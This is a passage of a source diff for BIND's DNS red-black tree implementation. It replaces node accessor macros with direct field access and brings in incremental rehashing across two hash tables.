 			new_current->is_root = 1;
 
-			UPPERNODE(new_current) = NULL;
+			new_current->uppernode = NULL;
 
 			rbt->root = new_current;
 			*nodep = new_current;
@@ -1227,7 +476,7 @@ dns_rbt_addnode(dns_rbt_t *rbt, const dns_name_t *name, dns_rbtnode_t **nodep) {
 	INSIST(suffix != NULL);
 
 	root = &rbt->root;
-	INSIST(IS_ROOT(*root));
+	INSIST((*root)->is_root);
 	parent = NULL;
 	current = NULL;
 	child = *root;
@@ -1239,7 +488,7 @@ dns_rbt_addnode(dns_rbt_t *rbt, const dns_name_t *name, dns_rbtnode_t **nodep) {
 	do {
 		current = child;
 
-		NODENAME(current, &current_name);
+		node_name(current, &current_name);
 		compared = dns_name_fullcompare(add_name, &current_name, &order,
 						&common_labels);
 
@@ -1252,10 +501,10 @@ dns_rbt_addnode(dns_rbt_t *rbt, const dns_name_t *name, dns_rbtnode_t **nodep) {
 		if (compared == dns_namereln_none) {
 			if (order < 0) {
 				parent = current;
-				child = LEFT(current);
+				child = current->left;
 			} else if (order > 0) {
 				parent = current;
-				child = RIGHT(current);
+				child = current->right;
 			}
 		} else {
 			/*
@@ -1284,14 +533,14 @@ dns_rbt_addnode(dns_rbt_t *rbt, const dns_name_t *name, dns_rbtnode_t **nodep) {
 				/*
 				 * Follow the down pointer (possibly NULL).
 				 */
-				root = &DOWN(current);
+				root = &current->down;
 
 				INSIST(*root == NULL ||
-				       (IS_ROOT(*root) &&
-					PARENT(*root) == current));
+				       ((*root)->is_root &&
+					(*root)->parent == current));
 
 				parent = NULL;
-				child = DOWN(current);
+				child = current->down;
 
 				INSIST(level_count < DNS_RBT_LEVELBLOCK);
 				level_count++;
@@ -1345,56 +594,56 @@ dns_rbt_addnode(dns_rbt_t *rbt, const dns_name_t *name, dns_rbtnode_t **nodep) {
 				} else {
 					new_current->nsec = current->nsec;
 				}
-				PARENT(new_current) = PARENT(current);
-				LEFT(new_current) = LEFT(current);
-				RIGHT(new_current) = RIGHT(current);
-				COLOR(new_current) = COLOR(current);
+				new_current->parent = current->parent;
+				new_current->left = current->left;
+				new_current->right = current->right;
+				new_current->color = current->color;
 
 				/*
 				 * Fix pointers that were to the current node.
 				 */
 				if (parent != NULL) {
-					if (LEFT(parent) == current) {
-						LEFT(parent) = new_current;
+					if (parent->left == current) {
+						parent->left = new_current;
 					} else {
-						RIGHT(parent) = new_current;
+						parent->right = new_current;
 					}
 				}
-				if (LEFT(new_current) != NULL) {
-					PARENT(LEFT(new_current)) = new_current;
+				if (new_current->left != NULL) {
+					new_current->left->parent = new_current;
 				}
-				if (RIGHT(new_current) != NULL) {
-					PARENT(RIGHT(new_current)) =
+				if (new_current->right != NULL) {
+					new_current->right->parent =
 						new_current;
 				}
 				if (*root == current) {
 					*root = new_current;
 				}
 
-				NAMELEN(current) = prefix->length;
-				OFFSETLEN(current) = prefix->labels;
+				current->namelen = prefix->length;
+				current->offsetlen = prefix->labels;
 
 				/*
 				 * Set up the new root of the next level.
 				 * By definition it will not be the top
-				 * level tree, so clear DNS_NAMEATTR_ABSOLUTE.
+				 * level tree, so clear the absolute flag.
 				 */
 				current->is_root = 1;
-				PARENT(current) = new_current;
-				DOWN(new_current) = current;
-				root = &DOWN(new_current);
+				current->parent = new_current;
+				new_current->down = current;
+				root = &new_current->down;
 
-				UPPERNODE(new_current) = UPPERNODE(current);
-				UPPERNODE(current) = new_current;
+				new_current->uppernode = current->uppernode;
+				current->uppernode = new_current;
 
 				INSIST(level_count < DNS_RBT_LEVELBLOCK);
 				level_count++;
 
-				LEFT(current) = NULL;
-				RIGHT(current) = NULL;
+				current->left = NULL;
+				current->right = NULL;
 
-				MAKE_BLACK(current);
-				ATTRS(current) &= ~DNS_NAMEATTR_ABSOLUTE;
+				current->color = BLACK;
+				current->absolute = false;
 
 				rbt->nodecount++;
 				dns_name_getlabelsequence(name,
@@ -1403,7 +652,8 @@ dns_rbt_addnode(dns_rbt_t *rbt, const dns_name_t *name, dns_rbtnode_t **nodep) {
 				hash_node(rbt, new_current, new_name);
 
 				if (common_labels ==
-				    dns_name_countlabels(add_name)) {
+				    dns_name_countlabels(add_name))
+				{
 					/*
 					 * The name has been added by pushing
 					 * the not-in-common parts down to
@@ -1434,17 +684,17 @@ dns_rbt_addnode(dns_rbt_t *rbt, const dns_name_t *name, dns_rbtnode_t **nodep) {
 				}
 			}
 		}
-	} while (ISC_LIKELY(child != NULL));
+	} while (child != NULL);
 
-	if (ISC_LIKELY(result == ISC_R_SUCCESS)) {
+	if (result == ISC_R_SUCCESS) {
 		result = create_node(rbt->mctx, add_name, &new_current);
 	}
 
-	if (ISC_LIKELY(result == ISC_R_SUCCESS)) {
+	if (result == ISC_R_SUCCESS) {
 		if (*root == NULL) {
-			UPPERNODE(new_current) = current;
+			new_current->uppernode = current;
 		} else {
-			UPPERNODE(new_current) = PARENT(*root);
+			new_current->uppernode = (*root)->parent;
 		}
 
 		addonlevel(new_current, current, order, root);
@@ -1478,8 +728,9 @@ dns_rbt_addname(dns_rbt_t *rbt, const dns_name_t *name, void *data) {
 	 * there is data associated with a node.
 	 */
 	if (result == ISC_R_SUCCESS ||
-	    (result == ISC_R_EXISTS && DATA(node) == NULL)) {
-		DATA(node) = data;
+	    (result == ISC_R_EXISTS && node->data == NULL))
+	{
+		node->data = data;
 		result = ISC_R_SUCCESS;
 	}
 
@@ -1490,10 +741,10 @@ dns_rbt_addname(dns_rbt_t *rbt, const dns_name_t *name, void *data) {
  * Find the node for "name" in the tree of trees.
  */
 isc_result_t
-dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
-		 dns_rbtnode_t **node, dns_rbtnodechain_t *chain,
-		 unsigned int options, dns_rbtfindcallback_t callback,
-		 void *callback_arg) {
+dns__rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
+		  dns_rbtnode_t **node, dns_rbtnodechain_t *chain,
+		  unsigned int options, dns_rbtfindcallback_t callback,
+		  void *callback_arg DNS__DB_FLARG) {
 	dns_rbtnode_t *current, *last_compared;
 	dns_rbtnodechain_t localchain;
 	dns_name_t *search_name, current_name, *callback_name;
@@ -1503,6 +754,7 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 	unsigned int common_labels;
 	unsigned int hlabels = 0;
 	int order;
+	uint8_t hindex;
 
 	REQUIRE(VALID_RBT(rbt));
 	REQUIRE(dns_name_isabsolute(name));
@@ -1523,7 +775,7 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 		dns_rbtnodechain_reset(chain);
 	}
 
-	if (ISC_UNLIKELY(rbt->root == NULL)) {
+	if (rbt->root == NULL) {
 		return (ISC_R_NOTFOUND);
 	}
 
@@ -1540,9 +792,8 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 	/*
 	 * search_name is the name segment being sought in each tree level.
 	 * By using a fixedname, the search_name will definitely have offsets
-	 * for use by any splitting.
-	 * By using dns_name_clone, no name data should be copied thanks to
-	 * the lack of bitstring labels.
+	 * for use by any splitting. By using dns_name_clone, no name data
+	 * should be copied.
 	 */
 	search_name = dns_fixedname_initname(&fixedsearchname);
 	INSIST(search_name != NULL);
@@ -1553,8 +804,8 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 	saved_result = ISC_R_SUCCESS;
 	current = rbt->root;
 
-	while (ISC_LIKELY(current != NULL)) {
-		NODENAME(current, &current_name);
+	while (current != NULL) {
+		node_name(current, &current_name);
 		compared = dns_name_fullcompare(search_name, &current_name,
 						&order, &common_labels);
 		/*
@@ -1585,6 +836,7 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 			dns_rbtnode_t *up_current;
 			unsigned int nlabels;
 			unsigned int tlabels = 1;
+			uint32_t hashval;
 			uint32_t hash;
 
 			/*
@@ -1596,7 +848,7 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 			 * dropped the bitstring support, this should
 			 * not happen.
 			 */
-			INSIST(IS_ROOT(current));
+			INSIST(current->is_root);
 
 			nlabels = dns_name_countlabels(search_name);
 
@@ -1604,10 +856,11 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 			 * current is the root of the current level, so
 			 * its parent is the same as its "up" pointer.
 			 */
-			up_current = PARENT(current);
+			up_current = current->parent;
 			dns_name_init(&hash_name, NULL);
 
 		hashagain:
+			hindex = rbt->hindex;
 			/*
 			 * Compute the hash over the full absolute
 			 * name. Look for the smallest suffix match at
@@ -1619,40 +872,41 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 			dns_name_getlabelsequence(name, nlabels - tlabels,
 						  hlabels + tlabels,
 						  &hash_name);
-			hash = dns_name_fullhash(&hash_name, false);
+			hashval = dns_name_hash(&hash_name);
+
 			dns_name_getlabelsequence(search_name,
 						  nlabels - tlabels, tlabels,
 						  &hash_name);
 
+		nexttable:
 			/*
 			 * Walk all the nodes in the hash bucket pointed
 			 * by the computed hash value.
 			 */
-			for (hnode = rbt->hashtable[hash_32(hash,
-							    rbt->hashbits)];
+
+			hash = isc_hash_bits32(hashval, rbt->hashbits[hindex]);
+
+			for (hnode = rbt->hashtable[hindex][hash];
 			     hnode != NULL; hnode = hnode->hashnext)
 			{
 				dns_name_t hnode_name;
 
-				if (ISC_LIKELY(hash != HASHVAL(hnode))) {
+				if (hashval != hnode->hashval) {
 					continue;
 				}
 				/*
-				 * This checks that the hashed label
-				 * sequence being looked up is at the
-				 * same tree level, so that we don't
-				 * match a labelsequence from some other
-				 * subdomain.
+				 * This checks that the hashed label sequence
+				 * being looked up is at the same tree level, so
+				 * that we don't match a labelsequence from some
+				 * other subdomain.
 				 */
-				if (ISC_LIKELY(get_upper_node(hnode) !=
-					       up_current)) {
+				if (get_upper_node(hnode) != up_current) {
 					continue;
 				}
 
 				dns_name_init(&hnode_name, NULL);
-				NODENAME(hnode, &hnode_name);
-				if (ISC_LIKELY(dns_name_equal(&hnode_name,
-							      &hash_name))) {
+				node_name(hnode, &hnode_name);
+				if (dns_name_equal(&hnode_name, &hash_name)) {
 					break;
 				}
 			}
@@ -1679,14 +933,21 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 				}
 			}
 
+			if (TRY_NEXTTABLE(hindex, rbt)) {
+				/*
+				 * Rehashing in progress, check the other table
+				 */
+				hindex = RBT_HASH_NEXTTABLE(rbt->hindex);
+				goto nexttable;
+			}
+
 			if (tlabels++ < nlabels) {
 				goto hashagain;
 			}
 
 			/*
 			 * All of the labels have been tried against the hash
-			 * table.  Since we dropped the support of bitstring
-			 * labels, the name isn't in the table.
+			 * table.
 			 */
 			current = NULL;
 			continue;
@@ -1734,7 +995,8 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 				 * the callback is used to learn what the
 				 * caller wants to do.
 				 */
-				if (callback != NULL && FINDCALLBACK(current)) {
+				if (callback != NULL && current->find_callback)
+				{
 					result = chain_name(
 						chain, callback_name, false);
 					if (result != ISC_R_SUCCESS) {
@@ -1742,9 +1004,11 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 						return (result);
 					}
 
-					result = (callback)(current,
-							    callback_name,
-							    callback_arg);
+					result =
+						(callback)(current,
+							   callback_name,
+							   callback_arg
+								   DNS__DB_FLARG_PASS);
 					if (result != DNS_R_CONTINUE) {
 						saved_result = result;
 						/*
@@ -1759,7 +1023,7 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 				/*
 				 * Finally, head to the next tree level.
 				 */
-				current = DOWN(current);
+				current = current->down;
 			} else {
 				/*
 				 * Though there are labels in common, the
@@ -1857,7 +1121,7 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 			 */
 			INSIST(((options & DNS_RBTFIND_NOEXACT) != 0) ||
 			       ((options & DNS_RBTFIND_EMPTYDATA) == 0 &&
-				DATA(current) == NULL));
+				current->data == NULL));
 			chain->end = current;
 		} else if ((options & DNS_RBTFIND_NOPREDECESSOR) != 0) {
 			/*
@@ -1911,7 +1175,7 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 				}
 
 				while (current != NULL) {
-					NODENAME(current, &current_name);
+					node_name(current, &current_name);
 					compared = dns_name_fullcompare(
 						search_name, &current_name,
 						&order, &common_labels);
@@ -1923,9 +1187,9 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 					 * Standard binary search movement.
 					 */
 					if (order < 0) {
-						current = LEFT(current);
+						current = current->left;
 					} else {
-						current = RIGHT(current);
+						current = current->right;
 					}
 				}
 
@@ -1958,11 +1222,11 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 				 */
 
 				if (order > 0) {
-					if (DOWN(current) != NULL) {
+					if (current->down != NULL) {
 						ADD_LEVEL(chain, current);
 
 						result2 = move_chain_to_last(
-							chain, DOWN(current));
+							chain, current->down);
 
 						if (result2 != ISC_R_SUCCESS) {
 							result = result2;
@@ -1983,7 +1247,8 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
 					result2 = dns_rbtnodechain_prev(
 						chain, NULL, NULL);
 					if (result2 == ISC_R_SUCCESS ||
-					    result2 == DNS_R_NEWORIGIN) {
+					    result2 == DNS_R_NEWORIGIN)
+					{
 						/* Nothing. */
 					} else if (result2 == ISC_R_NOMORE) {
 						/*
@@ -2007,18 +1272,18 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
  * Get the data pointer associated with 'name'.
  */
 isc_result_t
-dns_rbt_findname(dns_rbt_t *rbt, const dns_name_t *name, unsigned int options,
-		 dns_name_t *foundname, void **data) {
+dns__rbt_findname(dns_rbt_t *rbt, const dns_name_t *name, unsigned int options,
+		  dns_name_t *foundname, void **data DNS__DB_FLARG) {
 	dns_rbtnode_t *node = NULL;
 	isc_result_t result;
 
 	REQUIRE(data != NULL && *data == NULL);
 
-	result = dns_rbt_findnode(rbt, name, foundname, &node, NULL, options,
-				  NULL, NULL);
+	result = dns__rbt_findnode(rbt, name, foundname, &node, NULL, options,
+				   NULL, NULL DNS__DB_FLARG_PASS);
 
 	if (node != NULL && WANTEMPTYDATA_OR_DATA(options, node)) {
-		*data = DATA(node);
+		*data = node->data;
 	} else {
 		result = ISC_R_NOTFOUND;
 	}
@@ -2030,7 +1295,8 @@ dns_rbt_findname(dns_rbt_t *rbt, const dns_name_t *name, unsigned int options,
  * Delete a name from the tree of trees.
  */
 isc_result_t
-dns_rbt_deletename(dns_rbt_t *rbt, const dns_name_t *name, bool recurse) {
+dns__rbt_deletename(dns_rbt_t *rbt, const dns_name_t *name,
+		    bool recurse DNS__DB_FLARG) {
 	dns_rbtnode_t *node = NULL;
 	isc_result_t result;
 
@@ -2051,11 +1317,12 @@ dns_rbt_deletename(dns_rbt_t *rbt, const dns_name_t *name, bool recurse) {
 	 * ->dirty, ->locknum and ->references are ignored; they are
 	 * solely the province of rbtdb.c.
 	 */
-	result = dns_rbt_findnode(rbt, name, NULL, &node, NULL,
-				  DNS_RBTFIND_NOOPTIONS, NULL, NULL);
+	result = dns__rbt_findnode(rbt, name, NULL, &node, NULL,
+				   DNS_RBTFIND_NOOPTIONS, NULL,
+				   NULL DNS__DB_FLARG_PASS);
 
 	if (result == ISC_R_SUCCESS) {
-		if (DATA(node) != NULL) {
+		if (node->data != NULL) {
 			result = dns_rbt_deletenode(rbt, node, recurse);
 		} else {
 			result = ISC_R_NOTFOUND;
@@ -2111,15 +1378,15 @@ dns_rbt_deletenode(dns_rbt_t *rbt, dns_rbtnode_t *node, bool recurse) {
 	REQUIRE(DNS_RBTNODE_VALID(node));
 	INSIST(rbt->nodecount != 0);
 
-	if (DOWN(node) != NULL) {
+	if (node->down != NULL) {
 		if (recurse) {
-			PARENT(DOWN(node)) = NULL;
-			deletetreeflat(rbt, 0, true, &DOWN(node));
+			node->down->parent = NULL;
+			deletetreeflat(rbt, 0, true, &node->down);
 		} else {
-			if (DATA(node) != NULL && rbt->data_deleter != NULL) {
-				rbt->data_deleter(DATA(node), rbt->deleter_arg);
+			if (node->data != NULL && rbt->data_deleter != NULL) {
+				rbt->data_deleter(node->data, rbt->deleter_arg);
 			}
-			DATA(node) = NULL;
+			node->data = NULL;
 
 			/*
 			 * Since there is at least one node below this one and
@@ -2145,10 +1412,10 @@ dns_rbt_deletenode(dns_rbt_t *rbt, dns_rbtnode_t *node, bool recurse) {
 	 * This node now has no down pointer, so now it needs
 	 * to be removed from this level.
 	 */
-	deletefromlevel(node, parent == NULL ? &rbt->root : &DOWN(parent));
+	deletefromlevel(node, parent == NULL ? &rbt->root : &parent->down);
 
-	if (DATA(node) != NULL && rbt->data_deleter != NULL) {
-		rbt->data_deleter(DATA(node), rbt->deleter_arg);
+	if (node->data != NULL && rbt->data_deleter != NULL) {
+		rbt->data_deleter(node->data, rbt->deleter_arg);
 	}
 
 	unhash_node(rbt, node);
@@ -2171,7 +1438,7 @@ dns_rbt_namefromnode(dns_rbtnode_t *node, dns_name_t *name) {
 	REQUIRE(name != NULL);
 	REQUIRE(name->offsets == NULL);
 
-	NODENAME(node, name);
+	node_name(node, name);
 }
 
 isc_result_t
@@ -2189,7 +1456,7 @@ dns_rbt_fullnamefromnode(dns_rbtnode_t *node, dns_name_t *name) {
 	do {
 		INSIST(node != NULL);
 
-		NODENAME(node, &current);
+		node_name(node, &current);
 
 		result = dns_name_concatenate(name, &current, name, NULL);
 		if (result != ISC_R_SUCCESS) {
@@ -2218,7 +1485,7 @@ dns_rbt_formatnodename(dns_rbtnode_t *node, char *printname,
 		dns_name_format(name, printname, size);
 	} else {
 		snprintf(printname, size, "<error building name: %s>",
-			 dns_result_totext(result));
+			 isc_result_totext(result));
 	}
 
 	return (printname);
@@ -2242,35 +1509,14 @@ create_node(isc_mem_t *mctx, const dns_name_t *name, dns_rbtnode_t **nodep) {
 	 */
 	nodelen = sizeof(dns_rbtnode_t) + region.length + labels + 1;
 	node = isc_mem_get(mctx, nodelen);
-	memset(node, 0, nodelen);
-
-	node->is_root = 0;
-	PARENT(node) = NULL;
-	RIGHT(node) = NULL;
-	LEFT(node) = NULL;
-	DOWN(node) = NULL;
-	DATA(node) = NULL;
-	node->is_mmapped = 0;
-	node->down_is_relative = 0;
-	node->left_is_relative = 0;
-	node->right_is_relative = 0;
-	node->parent_is_relative = 0;
-	node->data_is_relative = 0;
-	node->rpz = 0;
-
-	HASHNEXT(node) = NULL;
-	HASHVAL(node) = 0;
+	*node = (dns_rbtnode_t){
+		.nsec = DNS_RBT_NSEC_NORMAL,
+		.color = BLACK,
+	};
 
 	ISC_LINK_INIT(node, deadlink);
 
-	LOCKNUM(node) = 0;
-	WILD(node) = 0;
-	DIRTY(node) = 0;
 	isc_refcount_init(&node->references, 0);
-	node->find_callback = 0;
-	node->nsec = DNS_RBT_NSEC_NORMAL;
-
-	MAKE_BLACK(node);
 
 	/*
 	 * The following is stored to make reconstructing a name from the
@@ -2286,9 +1532,9 @@ create_node(isc_mem_t *mctx, const dns_name_t *name, dns_rbtnode_t **nodep) {
 	 * Note: OLDOFFSETLEN *must* be assigned *after* OLDNAMELEN is assigned
 	 * 	 as it uses OLDNAMELEN.
 	 */
-	OLDNAMELEN(node) = NAMELEN(node) = region.length;
-	OLDOFFSETLEN(node) = OFFSETLEN(node) = labels;
-	ATTRS(node) = name->attributes;
+	node->oldnamelen = node->namelen = region.length;
+	OLDOFFSETLEN(node) = node->offsetlen = labels;
+	node->absolute = name->attributes.absolute;
 
 	memmove(NAME(node), region.base, region.length);
 	memmove(OFFSETS(node), name->offsets, labels);
@@ -2304,40 +1550,53 @@ create_node(isc_mem_t *mctx, const dns_name_t *name, dns_rbtnode_t **nodep) {
 /*
  * Add a node to the hash table
  */
-static inline void
+static void
 hash_add_node(dns_rbt_t *rbt, dns_rbtnode_t *node, const dns_name_t *name) {
 	uint32_t hash;
 
 	REQUIRE(name != NULL);
 
-	HASHVAL(node) = dns_name_fullhash(name, false);
+	node->hashval = dns_name_hash(name);
 
-	hash = hash_32(HASHVAL(node), rbt->hashbits);
-	HASHNEXT(node) = rbt->hashtable[hash];
+	hash = isc_hash_bits32(node->hashval, rbt->hashbits[rbt->hindex]);
+	node->hashnext = rbt->hashtable[rbt->hindex][hash];
 
-	rbt->hashtable[hash] = node;
+	rbt->hashtable[rbt->hindex][hash] = node;
 }
 
 /*
  * Initialize hash table
  */
-static isc_result_t
-inithash(dns_rbt_t *rbt) {
-	size_t size;
+static void
+hashtable_new(dns_rbt_t *rbt, uint8_t index, uint8_t bits) {
+	REQUIRE(rbt->hashbits[index] == 0U);
+	REQUIRE(rbt->hashtable[index] == NULL);
+	REQUIRE(bits >= ISC_HASH_MIN_BITS);
+	REQUIRE(bits < ISC_HASH_MAX_BITS);
 
-	rbt->hashbits = RBT_HASH_MIN_BITS;
-	size = HASHSIZE(rbt->hashbits) * sizeof(dns_rbtnode_t *);
-	rbt->hashtable = isc_mem_get(rbt->mctx, size);
-	memset(rbt->hashtable, 0, size);
+	rbt->hashbits[index] = bits;
 
-	return (ISC_R_SUCCESS);
+	rbt->hashtable[index] = isc_mem_cget(rbt->mctx,
+					     ISC_HASHSIZE(rbt->hashbits[index]),
+					     sizeof(dns_rbtnode_t *));
+}
+
+static void
+hashtable_free(dns_rbt_t *rbt, uint8_t index) {
+	isc_mem_cput(rbt->mctx, rbt->hashtable[index],
+		     ISC_HASHSIZE(rbt->hashbits[index]),
+		     sizeof(dns_rbtnode_t *));
+
+	rbt->hashbits[index] = 0U;
+	rbt->hashtable[index] = NULL;
 }
 
 static uint32_t
 rehash_bits(dns_rbt_t *rbt, size_t newcount) {
-	uint32_t newbits = rbt->hashbits;
+	uint32_t newbits = rbt->hashbits[rbt->hindex];
 
-	while (newcount >= HASHSIZE(newbits) && newbits < rbt->maxhashbits) {
+	while (newcount >= ISC_HASHSIZE(newbits) && newbits < ISC_HASH_MAX_BITS)
+	{
 		newbits += 1;
 	}
 
@@ -2348,56 +1607,99 @@ rehash_bits(dns_rbt_t *rbt, size_t newcount) {
  * Rebuild the hashtable to reduce the load factor
  */
 static void
-rehash(dns_rbt_t *rbt, uint32_t newbits) {
-	uint32_t oldbits;
-	size_t oldsize;
-	dns_rbtnode_t **oldtable;
-	size_t newsize;
-
-	REQUIRE(rbt->hashbits <= rbt->maxhashbits);
-	REQUIRE(newbits <= rbt->maxhashbits);
-
-	oldbits = rbt->hashbits;
-	oldsize = HASHSIZE(oldbits);
-	oldtable = rbt->hashtable;
-
-	rbt->hashbits = newbits;
-	newsize = HASHSIZE(rbt->hashbits);
-	rbt->hashtable = isc_mem_get(rbt->mctx,
-				     newsize * sizeof(dns_rbtnode_t *));
-	memset(rbt->hashtable, 0, newsize * sizeof(dns_rbtnode_t *));
-
-	for (size_t i = 0; i < oldsize; i++) {
-		dns_rbtnode_t *node;
-		dns_rbtnode_t *nextnode;
-		for (node = oldtable[i]; node != NULL; node = nextnode) {
-			uint32_t hash = hash_32(HASHVAL(node), rbt->hashbits);
-			nextnode = HASHNEXT(node);
-			HASHNEXT(node) = rbt->hashtable[hash];
-			rbt->hashtable[hash] = node;
-		}
+hashtable_rehash(dns_rbt_t *rbt, uint32_t newbits) {
+	uint8_t oldindex = rbt->hindex;
+	uint32_t oldbits = rbt->hashbits[oldindex];
+	uint8_t newindex = RBT_HASH_NEXTTABLE(oldindex);
+
+	REQUIRE(rbt->hashbits[oldindex] >= ISC_HASH_MIN_BITS);
+	REQUIRE(rbt->hashbits[oldindex] <= ISC_HASH_MAX_BITS);
+	REQUIRE(rbt->hashtable[oldindex] != NULL);
+
+	REQUIRE(newbits <= ISC_HASH_MAX_BITS);
+	REQUIRE(rbt->hashbits[newindex] == 0U);
+	REQUIRE(rbt->hashtable[newindex] == NULL);
+
+	REQUIRE(newbits > oldbits);
+
+	hashtable_new(rbt, newindex, newbits);
+
+	rbt->hindex = newindex;
+
+	hashtable_rehash_one(rbt);
+}
+
+static void
+hashtable_rehash_one(dns_rbt_t *rbt) {
+	dns_rbtnode_t **newtable = rbt->hashtable[rbt->hindex];
+	uint32_t oldsize =
+		ISC_HASHSIZE(rbt->hashbits[RBT_HASH_NEXTTABLE(rbt->hindex)]);
+	dns_rbtnode_t **oldtable =
+		rbt->hashtable[RBT_HASH_NEXTTABLE(rbt->hindex)];
+	dns_rbtnode_t *node = NULL;
+	dns_rbtnode_t *nextnode;
+
+	/* Find first non-empty node */
+	while (rbt->hiter < oldsize && oldtable[rbt->hiter] == NULL) {
+		rbt->hiter++;
 	}
 
-	isc_mem_put(rbt->mctx, oldtable, oldsize * sizeof(dns_rbtnode_t *));
+	/* Rehashing complete */
+	if (rbt->hiter == oldsize) {
+		hashtable_free(rbt, RBT_HASH_NEXTTABLE(rbt->hindex));
+		rbt->hiter = 0;
+		return;
+	}
+
+	/* Move the first non-empty node from old hashtable to new hashtable */
+	for (node = oldtable[rbt->hiter]; node != NULL; node = nextnode) {
+		uint32_t hash = isc_hash_bits32(node->hashval,
+						rbt->hashbits[rbt->hindex]);
+		nextnode = node->hashnext;
+		node->hashnext = newtable[hash];
+		newtable[hash] = node;
+	}
+
+	oldtable[rbt->hiter] = NULL;
+
+	rbt->hiter++;
 }
 
 static void
 maybe_rehash(dns_rbt_t *rbt, size_t newcount) {
 	uint32_t newbits = rehash_bits(rbt, newcount);
-	if (rbt->hashbits < newbits && newbits <= rbt->maxhashbits) {
-		rehash(rbt, newbits);
+
+	if (rbt->hashbits[rbt->hindex] < newbits &&
+	    newbits <= ISC_HASH_MAX_BITS)
+	{
+		hashtable_rehash(rbt, newbits);
 	}
 }
 
+static bool
+rehashing_in_progress(dns_rbt_t *rbt) {
+	return (rbt->hashtable[RBT_HASH_NEXTTABLE(rbt->hindex)] != NULL);
+}
+
+static bool
+hashtable_is_overcommited(dns_rbt_t *rbt) {
+	return (rbt->nodecount >= (ISC_HASHSIZE(rbt->hashbits[rbt->hindex]) *
+				   ISC_HASH_OVERCOMMIT));
+}
+
 /*
  * Add a node to the hash table. Rehash the hashtable if the node count
  * rises above a critical level.
  */
-static inline void
+static void
 hash_node(dns_rbt_t *rbt, dns_rbtnode_t *node, const dns_name_t *name) {
 	REQUIRE(DNS_RBTNODE_VALID(node));
 
-	if (rbt->nodecount >= (HASHSIZE(rbt->hashbits) * RBT_HASH_OVERCOMMIT)) {
+	if (rehashing_in_progress(rbt)) {
+		/* Rehash in progress */
+		hashtable_rehash_one(rbt);
+	} else if (hashtable_is_overcommited(rbt)) {
+		/* Rehash requested */
 		maybe_rehash(rbt, rbt->nodecount);
 	}
 
@@ -2407,91 +1709,111 @@ hash_node(dns_rbt_t *rbt, dns_rbtnode_t *node, const dns_name_t *name) {
 /*
  * Remove a node from the hash table
  */
-static inline void
-unhash_node(dns_rbt_t *rbt, dns_rbtnode_t *node) {
-	uint32_t bucket;
-	dns_rbtnode_t *bucket_node;
+static void
+unhash_node(dns_rbt_t *rbt, dns_rbtnode_t *dnode) {
+	uint32_t hash;
+	uint8_t hindex = rbt->hindex;
+	dns_rbtnode_t *hnode;
 
-	REQUIRE(DNS_RBTNODE_VALID(node));
+	REQUIRE(DNS_RBTNODE_VALID(dnode));
 
-	bucket = hash_32(HASHVAL(node), rbt->hashbits);
-	bucket_node = rbt->hashtable[bucket];
+	/*
+	 * The node could be either in:
+	 *  a) current table: no rehashing in progress, or
+	 *  b) current table: the node has been already moved, or
+	 *  c) other table: the node hasn't been moved yet.
+	 */
+nexttable:
+	hash = isc_hash_bits32(dnode->hashval, rbt->hashbits[hindex]);
+
+	hnode = rbt->hashtable[hindex][hash];
 
-	if (bucket_node == node) {
-		rbt->hashtable[bucket] = HASHNEXT(node);
+	if (hnode == dnode) {
+		rbt->hashtable[hindex][hash] = hnode->hashnext;
+		return;
 	} else {
-		while (HASHNEXT(bucket_node) != node) {
-			INSIST(HASHNEXT(bucket_node) != NULL);
-			bucket_node = HASHNEXT(bucket_node);
+		for (; hnode != NULL; hnode = hnode->hashnext) {
+			if (hnode->hashnext == dnode) {
+				hnode->hashnext = dnode->hashnext;
+				return;
+			}
 		}
-		HASHNEXT(bucket_node) = HASHNEXT(node);
 	}
+
+	if (TRY_NEXTTABLE(hindex, rbt)) {
+		/* Rehashing in progress, delete from the other table */
+		hindex = RBT_HASH_NEXTTABLE(hindex);
+		goto nexttable;
+	}
+
+	/* We haven't found any matching node, this should not be possible. */
+	UNREACHABLE();
 }
 
-static inline void
+static void
 rotate_left(dns_rbtnode_t *node, dns_rbtnode_t **rootp) {
 	dns_rbtnode_t *child;
 
 	REQUIRE(DNS_RBTNODE_VALID(node));
 	REQUIRE(rootp != NULL);
 
-	child = RIGHT(node);
+	child = node->right;
 	INSIST(child != NULL);
 
-	RIGHT(node) = LEFT(child);
-	if (LEFT(child) != NULL) {
-		PARENT(LEFT(child)) = node;
+	node->right = child->left;
+	if (child->left != NULL) {
+		child->left->parent = node;
 	}
-	LEFT(child) = node;
+	child->left = node;
 
-	PARENT(child) = PARENT(node);
+	child->parent = node->parent;
 
-	if (IS_ROOT(node)) {
+	if (node->is_root) {
 		*rootp = child;
 		child->is_root = 1;
 		node->is_root = 0;
 	} else {
-		if (LEFT(PARENT(node)) == node) {
